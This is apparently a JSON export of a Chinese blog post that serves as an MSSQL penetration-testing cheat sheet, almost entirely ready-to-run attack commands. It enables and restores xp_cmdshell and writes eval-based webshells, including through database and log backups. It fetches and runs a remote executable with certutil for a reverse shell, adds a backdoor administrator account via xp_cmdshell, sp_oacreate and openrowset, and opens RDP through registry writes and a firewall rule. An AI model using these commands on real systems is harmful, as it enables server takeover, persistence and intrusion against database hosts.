{"id":183,"date":"2022-04-07T11:32:10","date_gmt":"2022-04-07T03:32:10","guid":{"rendered":"http:\/\/danielw.top\/?p=183"},"modified":"2023-09-22T14:02:24","modified_gmt":"2023-09-22T06:02:24","slug":"mssql%e6%b8%97%e9%80%8f%e6%b5%8b%e8%af%95","status":"publish","type":"post","link":"http:\/\/danielw.top\/?p=183","title":{"rendered":"MSSQL\u6e17\u900f\u6d4b\u8bd5"},"content":{"rendered":"<h2>\u524d\u63d0<\/h2>\n<ul>\n<li>getshell\u6216\u8005\u5b58\u5728sql\u6ce8\u5165\u5e76\u4e14\u80fd\u591f\u6267\u884c\u547d\u4ee4<\/li>\n<li>sql server\u662fsystem\u6743\u9650\uff0csql server\u9ed8\u8ba4\u5c31\u662fsystem\u6743\u9650<\/li>\n<\/ul>\n<h2>xp_cmdshell<\/h2>\n<p>\u7b2c\u4e00\u79cd\uff1a\u5728SQL Server 2005\u4e4b\u524d\u7248\u672c\u4e2d\uff0c<code>xp_cmdshell<\/code>\u662f\u9ed8\u8ba4\u5f00\u542f\u7684\uff0c\u56e0\u6b64\u53ef\u4ee5\u76f4\u63a5\u5229\u7528\uff0c\u6267\u884c\u7cfb\u7edf\u547d\u4ee4<\/p>\n<pre><code class=\"language-sql\">exec master..xp_cmdshell &#039;whoami&#039;;<\/code><\/pre>\n<p>\u7b2c\u4e8c\u79cd\uff1a\u5148\u5224\u65ad\u662f\u5426\u5b58\u5728<code>xp_cmdshell<\/code>\u5b58\u50a8\u8fc7\u7a0b\uff0c\u8fd4\u56de1\u8868\u793a\u5b58\u5728\uff0c\u5426\u5219\u8868\u793a\u4e0d\u5b58\u5728<\/p>\n<pre><code class=\"language-sql\">select count(*) from master.dbo.sysobjects where xtype=&#039;x&#039; and name=&#039;xp_cmdshell&#039;;<\/code><\/pre>\n<p><code>xp_cmdshell<\/code>\u662f\u6709\u53ef\u80fd\u88ab\u7ba1\u7406\u5458\u624b\u52a8\u5220\u9664\u7684\uff08\u5c24\u5176\u662fSQL Server2005\u4e4b\u524d\u9ed8\u8ba4\u5f00\u542f\u7684\u7248\u672c\uff09\uff0c\u4ee5\u4e0b\u662f\u5220\u9664<code>xp_cmdshell<\/code>\u7684\u547d\u4ee4\uff1a<\/p>\n<pre><code class=\"language-sql\">exec master..sp_dropextendedproc xp_cmdshell;<\/code><\/pre>\n<p>\u5f53\u7136\uff0c\u5373\u4f7f<code>xp_cmdshell<\/code>\u88ab\u5220\u9664\uff0c\u4e5f\u662f\u6709\u529e\u6cd5\u6062\u590d<code>xp_cmdshell<\/code>\u7684\uff1a<\/p>\n<pre><code class=\"language-sql\">exec master..xp_dropextendedproc xp_cmdshell,@dllname=&#039;xplog70.dll&#039; declare @o int;<\/code><\/pre>\n<p>\u6ce8\u610f\uff1a\u518d\u4e27\u5fc3\u75c5\u72c2\u7684\u7ba1\u7406\u5458\uff0c\u53ef\u80fd\u8fde<code>xplog70.dll<\/code>\u6587\u4ef6\u90fd\u5220\u9664\uff0c\u56e0\u6b64\u9700\u8981\u624b\u52a8\u5220\u9664\u8be5\u6587\u4ef6\uff0c\u7136\u540e\u4f7f\u7528\u7edd\u5bf9\u8def\u5f84\u5f15\u7528\u5373\u53ef\uff1a<\/p>\n<pre><code class=\"language-sql\">exec master.dbo.sp_addextendedproc xp_cmdshell,@dllname=&#039;xplog70.dll\u7684\u6587\u4ef6\u7edd\u5bf9\u8def\u5f84&#039; declare @o int;<\/code><\/pre>\n<p>\u5728SQL Server 2005\u4e4b\u540e\u7684\u7248\u672c\u4e2d\uff0c<code>xp_cmdshell<\/code>\u662f\u9ed8\u8ba4\u5173\u95ed\u7684\uff0c\u56e0\u6b64\u9700\u8981\u624b\u52a8\u5f00\u542f\uff0c\u4f46\u662f\u5f00\u542f<code>xp_cmdshell<\/code>\u9700\u8981sa\u6743\u9650\uff0c\u6240\u4ee5\u8fd8\u662f\u6bd4\u8f83\u82db\u523b\u7684<\/p>\n<pre><code class=\"language-sql\"># \u5141\u8bb8\u4fee\u6539\u9ad8\u7ea7\u53c2\u6570\nexec sp_configure &#039;show advanced options&#039;,1;\n# \u914d\u7f6e\u751f\u6548\nRECONFIGURE;\n# \u5f00\u542fxp_cmdshell\nexec sp_configure &#039;xp_cmdshell&#039;,1;\n# \u914d\u7f6e\u751f\u6548\nRECONFIGURE;<\/code><\/pre>\n<p>\u68c0\u67e5<code>xp_cmdshell<\/code>\u662f\u5426\u5f00\u542f<\/p>\n<pre><code class=\"language-sql\">exec sp_configure;<\/code><\/pre>\n<p>\u6267\u884c\u7cfb\u7edf\u547d\u4ee4<\/p>\n<pre><code class=\"language-sql\">exec master..xp_cmdshell &#039;whoami&#039;;<\/code><\/pre>\n<p>\u83b7\u53d6webshell\uff0c\u6b64\u5904\u6ce8\u610f&gt;&lt;\u7b26\u53f7\u7684\u8f6c\u4e49\uff0c\u7f51\u9875\u7f16\u7801\u548c\u6570\u636e\u5e93\u7f16\u7801\u4e00\u822c\u662f\u76f8\u540c\u7684\uff0c\u4e2d\u6587\u4e00\u822c\u90fd\u8981URL\u7f16\u7801<\/p>\n<pre><code class=\"language-sql\">exec master..xp_cmdshell &#039;echo  ^&lt;%@ Page Language=&quot;Jscript&quot;%^&gt;^&lt;%eval(Request.Item[&quot;pass&quot;],&quot;unsafe&quot;);%^&gt; &gt; c:\\\\WWW\\\\233.aspx&#039;<\/code><\/pre>\n<p>\u83b7\u53d6webshell\uff0c\u901a\u8fc7windows\u7684\u591a\u79cdcmd\u4e0b\u8f7d\u6587\u4ef6\u7684\u65b9\u5f0f\uff0c\u4e0b\u8f7d\u8fdc\u7a0b\u7684\u53ef\u6267\u884c\u6587\u4ef6\uff0c\u901a\u8fc7\u8be5\u65b9\u5f0f\u53ef\u7528\u4e8e\u53cd\u5f39shell<\/p>\n<pre><code class=\"language-sql\"># \u4e0b\u8f7d\u6076\u610f\u7a0b\u5e8f\nexec master.dbo.xp_cmdshell &#039;cd c:\\\\www &amp; certutil -urlcache -split -f http:\/\/ip\/file.exe&#039;;\n\u6267\u884c\u7a0b\u5e8f\nexec master.dbo.xp_cmdshell &#039;cd c:\\\\www &amp; file.exe&#039;;<\/code><\/pre>\n<p>\u4f7f\u7528\u7ed3\u675f\u540e\uff0c\u53ef\u81ea\u884c\u5173\u95ed<code>xp_cmdshell<\/code><\/p>\n<pre><code class=\"language-sql\"># \u5f00\u542f\u9ad8\u7ea7\u9009\u9879\nexec sp_configure &#039;show advanced options&#039;,1;\n# \u914d\u7f6e\u751f\u6548\nRECONFIGURE;\n# \u5173\u95edxp_cmdshell\nexec sp_configure &#039;xp_cmdshell&#039;,0;\n# \u914d\u7f6e\u751f\u6548\nRECONFIGURE;<\/code><\/pre>\n<h2>\u63d0\u6743<\/h2>\n<pre><code class=\"language-sql\">exec master..xp_cmdshell &#039;net user test test \/add&#039;    \u6dfb\u52a0\u7528\u6237test\uff0c\u5bc6\u7801test\nexec master..xp_cmdshell &#039;net localgroup administrators test add&#039;    \u6dfb\u52a0test\u7528\u6237\u5230\u7ba1\u7406\u5458\u7ec4<\/code><\/pre>\n<h2>getshell\u7684\u65b9\u6cd5<\/h2>\n<h3>\u6570\u636e\u5e93\u5dee\u5f02\u5907\u4efdgetshell<\/h3>\n<blockquote>\n<p>\u5907\u4efd\u62ffshell\u7b97\u662f\u5e38\u89c1\uff0c\u4f46\u5f80\u5f80\u5907\u4efd\u540e\u5305\u542b\u6728\u9a6c\u7684\u6587\u4ef6\u5f88\u5927\u3002<\/p>\n<p>\u6ce8\u610f\uff1a\u76ee\u6807\u8def\u5f84\u5fc5\u987b\u6709\u5199\u6743\u9650<\/p>\n<\/blockquote>\n<pre><code class=\"language-sql\"># \u67e5\u770b\u8981\u521b\u5efa\u7684\u4e34\u65f6\u8868\u662f\u5426\u88ab\u5360\u7528\nIF EXISTS(select table_name from information_schema.tables where table_name=&#039;temp&#039;) drop table temp;\n# \u5c06\u6570\u636e\u5e93\u5907\u4efd\u81f3\u6587\u4ef6\u4e2d\nbackup database db_name to disk = &quot;\u76ee\u6807\u6587\u4ef6\u8def\u5f84.bak&quot;;\n# \u521b\u5efa\u4e34\u65f6\u8868\ncreate table test (a image);\n# \u5199\u5165\u6728\u9a6c\ninsert into test(a) values(0x3C25657865637574652872657175657374282261222929253E);\n# \u91cd\u65b0\u5907\u4efd\uff0c\u6728\u9a6c\u5199\u5165\u6587\u4ef6\nbackup database db_name to disk = &#039;\u76ee\u6807\u6587\u4ef6\u8def\u5f84.asp&#039; with differential,format;<\/code><\/pre>\n<h3>\u65e5\u5fd7\u5dee\u5f02\u5907\u4efdgetshell<\/h3>\n<blockquote>\n<p>\u53ef\u4e0d\u9700\u8981sa\u6743\u9650\uff0c\u5982\u679c\u4e0d\u80fd\u5907\u4efd\uff0c\u53ef\u80fd\u662f\u8bbf\u95ee\u6743\u9650\u95ee\u9898\uff0c\u53ef\u5207\u6362\u76ee\u5f55\u5c1d\u8bd5\uff1b\u5982\u679c\u4e34\u65f6\u8868\u5b58\u5728\u4e5f\u53ef\u80fd\u5bfc\u81f4\u5931\u8d25\uff0c\u53ef\u5148\u5224\u65ad\u4e34\u65f6\u8868\u662f\u5426\u5b58\u5728\uff0c\u518d\u5c1d\u8bd5\u3002<\/p>\n<p>\u6761\u4ef6\uff1a<\/p>\n<ol>\n<li>\u6570\u636e\u5e93\u4e4b\u524d\u5907\u4efd\u8fc7<\/li>\n<li>\u6062\u590d\u6a21\u5f0f\u662f\u5b8c\u6574\u6a21\u5f0f<\/li>\n<li>\u76ee\u6807\u8def\u5f84\u6709\u5199\u6743\u9650<\/li>\n<\/ol>\n<\/blockquote>\n<pre><code class=\"language-sql\"># \u67e5\u770b\u8981\u521b\u5efa\u7684\u4e34\u65f6\u8868\u662f\u5426\u88ab\u5360\u7528\nIF EXISTS(select table_name from information_schema.tables where table_name=&#039;temp&#039;) drop table temp;\n# \u5c06\u6570\u636e\u5e93\u7684\u6062\u590d\u6a21\u5f0f\u8bbe\u7f6e\u4e3a\u5b8c\u6574\u6a21\u5f0f\nalter database db_name set RECOVERY FULL;\n# \u521b\u5efa\u4e34\u65f6\u8868\ncreate table temp (a image);\n# \u5907\u4efd\u6570\u636e\u5e93\u65e5\u5fd7\uff0c\u5e76\u5199\u5165\u6587\u4ef6\u4e2d\nbackup log db_name to disk = &#039;\u4efb\u610f\u7edd\u5bf9\u8def\u5f84.bak&#039; with init;\n# \u5728\u4e34\u65f6\u8868\u4e2d\u63d2\u5165\u6728\u9a6c\u5b57\u7b26\u4e32\ninsert into temp (a) values (0x3C25657865637574652872657175657374282261222929253E);\n# \u5c06\u542b\u6709\u6728\u9a6c\u5b57\u7b26\u4e32\u7684\u65e5\u5fd7\u5907\u4efd\u5199\u5165\u6587\u4ef6\u4e2d\nbackup log db_name to disk = &#039;\u6728\u9a6c\u7684\u7edd\u5bf9\u8def\u5f84.aspx&#039;;<\/code><\/pre>\n<h3>sp_oacreate<\/h3>\n<blockquote>\n<p>\u5f53xp_cmdshell\u88ab\u5220\u9664\u65f6\uff0c\u53ef\u4ee5\u5c1d\u8bd5\u4f7f\u7528\u8fd9\u4e2a\u6765\u63d0\u6743<\/p>\n<\/blockquote>\n<p><strong>\u539f\u7406<\/strong><\/p>\n<pre><code class=\"language-sql\">\u5229\u7528OLE\u5bf9\u8c61\u63a5\u53e3\uff0cSQL Server\u63d0\u4f9b\u4e86\u4e00\u4e9b\u51fd\u6570\u8bbf\u95eeOLE\u5bf9\u8c61\uff0c\u5206\u522b\u662fsp_oacreate\u548csp_oamethod\uff0c\u53ef\u5229\u7528\u5b83\u4eec\u8c03\u7528OLE\u63a7\u4ef6\uff0c\u95f4\u63a5\u83b7\u53d6\u4e00\u4e2ashell<\/code><\/pre>\n<p><strong>\u9884\u51c6\u5907\u5de5\u4f5c<\/strong><\/p>\n<p>\u68c0\u67e5OLE Automation Procedures\u72b6\u6001<\/p>\n<pre><code class=\"language-sql\">exec sp_configure &#039;Ole Automation Procedures&#039;;<\/code><\/pre>\n<p>\u5982\u679cconfig_value\u548crun_value\u90fd\u4e3a0\uff0c\u8868\u793a\u7981\u7528<\/p>\n<p><strong>\u542f\u7528OLE Automation Procedures<\/strong><\/p>\n<pre><code class=\"language-sql\"># \u5141\u8bb8\u4fee\u6539\u9ad8\u7ea7\u53c2\u6570\nexec sp_configure &#039;show advanced options&#039;,1;\n# \u914d\u7f6e\u751f\u6548\nreconfigure;\n# \u5f00\u542fOle Automation Procedures\nexec sp_configure &#039;Ole Automation Procedures&#039;,1;\n# \u914d\u7f6e\u751f\u6548\nreconfigure;\n# \u5173\u95ed\u9ad8\u7ea7\u53c2\u6570\nexec sp_configure &#039;show advanced options&#039;,0;<\/code><\/pre>\n<h4>wscript.shell<\/h4>\n<blockquote>\n<p>\u5728SQL Server 2008\u548cSQL Server 2000\u4e0a\u90fd\u9002\u7528<\/p>\n<\/blockquote>\n<pre><code class=\"language-sql\"># \u58f0\u660e\u4e00\u4e2a\u53d8\u91cf\ndeclare @shell int;\n# \u4f7f\u7528sp_oacreate\u8c03\u7528wscript\u5bf9\u8c61\nexec sp_oacreate &#039;wscript.shell&#039;,@shell output;\n# \u4f7f\u7528sp_oamethod\u8c03\u7528\u53d8\u91cf\u7684\u5c5e\u6027run\u6267\u884c\u7cfb\u7edf\u547d\u4ee4\nexec sp_oamethod @shell,&#039;run&#039;,null,&#039;c:\\windows\\system32\\cmd.exe \/c net user test test \/add&#039;;<\/code><\/pre>\n<p>\u6574\u5408\u4e00\u4e0b\uff1a\u6dfb\u52a0\u7528\u6237 test\/test<\/p>\n<pre><code class=\"language-sql\">declare @shell int exec sp_oacreate &#039;wscript.shell&#039;,@shell output exec sp_oamethod @shell,&#039;run&#039;,null,&#039;c:\\windows\\system32\\cmd.exe \/c net user test test \/add&#039;<\/code><\/pre>\n<p>\u6574\u5408\u4e00\u4e0b\uff1a\u6dfb\u52a0\u7528\u6237\u5230\u7ba1\u7406\u5458\u7ec4<\/p>\n<pre><code class=\"language-sql\">declare @shell int exec sp_oacreate &#039;wscript.shell&#039;,@shell output exec sp_oamethod @shell,&#039;run&#039;,null,&#039;c:\\windows\\system32\\cmd.exe \/c net localgroup administrators test \/add&#039;<\/code><\/pre>\n<h4>Shell.Application<\/h4>\n<blockquote>\n<p>SQL Server 2008\u4e0d\u53ef\u7528\uff0cSQL Server 2000\u53ef\u7528<\/p>\n<\/blockquote>\n<p>\u6574\u5408\u4e00\u4e0b\uff1a\u6dfb\u52a0\u7528\u6237 test\/test<\/p>\n<pre><code class=\"language-sql\">declare @o int;\nexec sp_oacreate &#039;Shell.Application&#039;, @o out;\nexec sp_oamethod @o, &#039;ShellExecute&#039;,null, &#039;cmd.exe&#039;,&#039;cmd \/c net user test test \/add&#039;,&#039;c:\\windows\\system32&#039;,&#039;&#039;,&#039;1&#039;;<\/code><\/pre>\n<h3>sp_makewebtask<\/h3>\n<blockquote>\n<p>SQL Server2008\u4e0d\u53ef\u7528\uff0cSQL Server2000\u53ef\u7528\uff08\u672a\u9a8c\u8bc1\uff09<\/p>\n<\/blockquote>\n<p><strong>\u6062\u590dxp_makewebtask\u5b58\u50a8\u8fc7\u7a0b<\/strong><\/p>\n<pre><code class=\"language-sql\">exec sp_configure &#039;Web Assistant Procedures&#039;, 1;\nRECONFIGURE;<\/code><\/pre>\n<p><strong>getshell<\/strong><\/p>\n<pre><code class=\"language-sql\">exec sp_makewebtask &#039;C:\\test1.php&#039;,&#039;select&#039;&#039;&lt;%execute(request(&quot;SB&quot;))%&gt;&#039;&#039;&#039;;<\/code><\/pre>\n<h3>\u6c99\u76d2\u6a21\u5f0f<\/h3>\n<blockquote>\n<p>\u53ea\u6709windows xp\u548cwindows 2003\u53ef\u7528<\/p>\n<\/blockquote>\n<p><strong>\u542f\u7528Ad Hoc Distributed Queries<\/strong><\/p>\n<pre><code class=\"language-sql\">exec sp_configure &#039;show advanced options&#039;,1;\nreconfigure;\nexec sp_configure &#039;Ad Hoc Distributed Queries&#039;,1;\nreconfigure<\/code><\/pre>\n<p><strong>\u5173\u95ed\u6c99\u76d2\u6a21\u5f0f<\/strong><\/p>\n<blockquote>\n<p>0\uff1a\u5728\u4efb\u4f55\u4f7f\u7528\u8005\u4e2d\u7981\u7528\u542f\u7528\u5b89\u5168\u6a21\u5f0f<\/p>\n<p>1\uff1a\u4ec5\u5728\u5141\u8bb8\u8303\u56f4\u5185<\/p>\n<p>2\uff1a\u5fc5\u987b\u5728access\u6a21\u5f0f\u4e0b<\/p>\n<p>3\uff1a\u5b8c\u5168\u5f00\u542f<\/p>\n<\/blockquote>\n<pre><code class=\"language-sql\">exec master..xp_regwrite &#039;HKEY_LOCAL_MACHINE&#039;,&#039;SOFTWARE\\Microsoft\\Jet\\4.0\\Engines&#039;,&#039;SandBoxMode&#039;,&#039;REG_DWORD&#039;,0;<\/code><\/pre>\n<p>\u8bfb\u53d6SandBoxMode[\u53ef\u9009]<\/p>\n<pre><code class=\"language-sql\">exec master.dbo.xp_regread &#039;HKEY_LOCAL_MACHINE&#039;,&#039;SOFTWARE\\Microsoft\\Jet\\4.0\\Engines&#039;,&#039;SandBoxMode&#039;;<\/code><\/pre>\n<p>\u6267\u884c\u7cfb\u7edf\u547d\u4ee4\uff1a\u6dfb\u52a0\u7528\u6237 test\/test<\/p>\n<pre><code class=\"language-sql\">select * from openrowset(&#039;microsoft.jet.oledb.4.0&#039;,&#039;;database=c:\\windows\\system32\\ias\\ias.mdb&#039;,&#039;select shell(&quot;cmd.exe \/c net user test test \/add&quot;)&#039;);\nselect * from \nopenrowset(&#039;microsoft.jet.oledb.4.0&#039;,&#039;;database=c:\\windows\\system32\\ias\\ias.mdb&#039;,&#039;select\n shell(&quot;cmd.exe \/c whoami&quot;)&#039;)<\/code><\/pre>\n<h3>mssql-\u8fdc\u7a0b\u684c\u9762<\/h3>\n<ol>\n<li>\n<p>\u662f\u5426\u5f00\u542f\u8fdc\u7a0b\u684c\u9762\uff0c1\u8868\u793a\u5173\u95ed\uff0c0\u8868\u793a\u5f00\u542f<\/p>\n<pre><code class=\"language-sql\">exec master..xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\\CurrentControlSet\\Control\\Terminal Server','fDenyTSConnections'<\/code><\/pre>\n<\/li>\n<li>\n<p>\u8bfb\u53d6\u8fdc\u7a0b\u684c\u9762\u7aef\u53e3<\/p>\n<pre><code class=\"language-sql\">EXEC master..xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\\CurrentControlSet\\Control\\Terminal\nServer\\WinStations\\RDP-Tcp','PortNumber'<\/code><\/pre>\n<\/li>\n<li>\n<p>\u5f00\u542f\u8fdc\u7a0b\u684c\u9762<\/p>\n<pre><code class=\"language-sql\">EXEC master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\\CurrentControlSet\\Control\\Terminal Server','fDenyTSConnections','REG_DWORD',0;<\/code><\/pre>\n<\/li>\n<li>\n<p>reg\u6587\u4ef6\u5f00\u542f\u8fdc\u7a0b\u684c\u9762<\/p>\n<pre><code>Windows Registry Editor Version 5.00HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal\nServer]\"fDenyTSConnections\"=dword:00000000[HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal\nServer\\WinStations\\RDP-Tcp]\"PortNumber\"=dword:00000d3d<\/code><\/pre>\n<p>\u4fdd\u5b58\u81f31.reg\uff0c\u6267\u884cregedit \/s 1.reg\uff0c\u5373\u53ef\u5f00\u542f\u8fdc\u7a0b\u684c\u9762<\/p>\n<p>\u6ce8\u610f\uff1a\u5982\u679c\u662f\u7b2c\u4e00\u6b21\u5f00\u542f\u8fdc\u7a0b\u684c\u9762\uff0c\u90e8\u5206\u9700\u8981\u914d\u7f6e\u9632\u706b\u5899\u89c4\u5219\u5141\u8bb8\u8fdc\u7a0b\u7aef\u53e3<\/p>\n<pre><code class=\"language-bash\">netsh advfirewall firewall add rule name=\"Remote Desktop\" protocol=TCP dir=in localport=3389 action=allow<\/code><\/pre>\n<\/li>\n<li>\n<p>\u5173\u95ed\u8fdc\u7a0b\u684c\u9762<\/p>\n<pre><code class=\"language-sql\">EXEC master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\\CurrentControlSet\\Control\\Terminal Server','fDenyTSConnections','REG_DWORD',1;<\/code><\/pre>\n<\/li>\n<\/ol>\n","protected":false},"excerpt":{"rendered":"<p>\u524d\u63d0 getshell\u6216\u8005\u5b58\u5728sql\u6ce8\u5165\u5e76\u4e14\u80fd\u591f\u6267\u884c\u547d\u4ee4 sql server\u662fsystem\u6743\u9650\uff0csql server\u9ed8\u8ba4\u5c31\u662fsy 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